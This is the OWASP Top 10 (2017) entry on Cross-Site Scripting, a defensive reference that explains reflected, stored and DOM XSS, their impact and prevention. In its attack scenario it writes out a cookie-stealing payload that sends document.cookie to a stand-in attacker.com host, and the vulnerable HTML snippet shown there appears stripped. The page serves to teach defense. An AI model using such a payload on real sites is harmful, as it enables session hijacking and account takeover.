Top 10-2017 A7-Cross-Site Scripting (XSS)



Automated tools can detect and exploit all three forms of XSS, and there are freely available exploitation frameworks. 

XSS is the second most prevalent issue in the OWASP Top 10, and is found in around two thirds of all applications. Automated tools can find some XSS problems automatically, particularly in mature technologies such as PHP, J2EE / JSP, and ASP.NET. 

The impact of XSS is moderate for reflected and DOM XSS, and severe for stored XSS, with remote code execution on the victim's browser, such as stealing credentials, sessions, or delivering malware to the victim.

There are three forms of XSS, usually targeting users' browsers: Typical XSS attacks include session stealing, account takeover, MFA bypass, DOM node replacement or defacement (such as trojan login panels), attacks against the user's browser such as malicious software downloads, key logging, and other client-side attacks.
 * Reflected XSS: The application or API includes unvalidated and unescaped user input as part of HTML output. A successful attack can allow the attacker to execute arbitrary HTML and JavaScript in the victim’s browser. Typically the user will need to interact with some malicious link that points to an attacker-controlled page, such as malicious watering hole websites, advertisements, or similar.
 * Stored XSS: The application or API stores unsanitized user input that is viewed at a later time by another user or an administrator. Stored XSS is often considered a high or critical risk.
 * DOM XSS: JavaScript frameworks, single-page applications, and APIs that dynamically include attacker-controllable data to a page are vulnerable to DOM XSS. Ideally, the application would not send attacker-controllable data to unsafe JavaScript APIs.

Preventing XSS requires separation of untrusted data from active browser content. This can be achieved by:
 * Using frameworks that automatically escape XSS by design, such as the latest Ruby on Rails, React JS. Learn the limitations of each framework's XSS protection and appropriately handle the use cases which are not covered.
 * Escaping untrusted HTTP request data based on the context in the HTML output (body, attribute, JavaScript, CSS, or URL) will resolve Reflected and Stored XSS vulnerabilities. The  OWASP Cheat Sheet 'XSS Prevention'  has details on the required data escaping techniques.
 * Applying context-sensitive encoding when modifying the browser document on the client side acts against DOM XSS. When this cannot be avoided, similar context sensitive escaping techniques can be applied to browser APIs as described in the  OWASP Cheat Sheet 'DOM based XSS Prevention'.
 * Enabling a  Content Security Policy (CSP) as a defense-in-depth mitigating control against XSS. It is effective if no other vulnerabilities exist that would allow placing malicious code via local file includes (e.g. path traversal overwrites or vulnerable libraries from permitted content delivery networks).

Scenario #1: The application uses untrusted data in the construction of the following HTML snippet without validation or escaping:  (String) page += ""; 

The attacker modifies the ‘CC’ parameter in the browser to:  '> document.location= ' h ttp://www.attacker.com/cgi-bin/cookie.cgi? foo='+document.cookie '.  This attack causes the victim’s session ID to be sent to the attacker’s website, allowing the attacker to hijack the user’s current session.

Note: Attackers can use XSS to defeat any automated Cross-Site Request Forgery (CSRF) defense the application might employ.


 * OWASP Proactive Controls: Encode Data
 * OWASP Proactive Controls: Validate Data
 * OWASP Application Security Verification Standard: V5
 * OWASP Testing Guide: Testing for Reflected XSS
 * OWASP Testing Guide: Testing for Stored XSS
 * OWASP Testing Guide: Testing for DOM XSS
 * OWASP Cheat Sheet: XSS Prevention
 * OWASP Cheat Sheet: DOM based XSS Prevention
 * OWASP Cheat Sheet: XSS Filter Evasion
 * OWASP Java Encoder Project


 * CWE-79: Improper neutralization of user supplied input
 * PortSwigger: Client-side template injection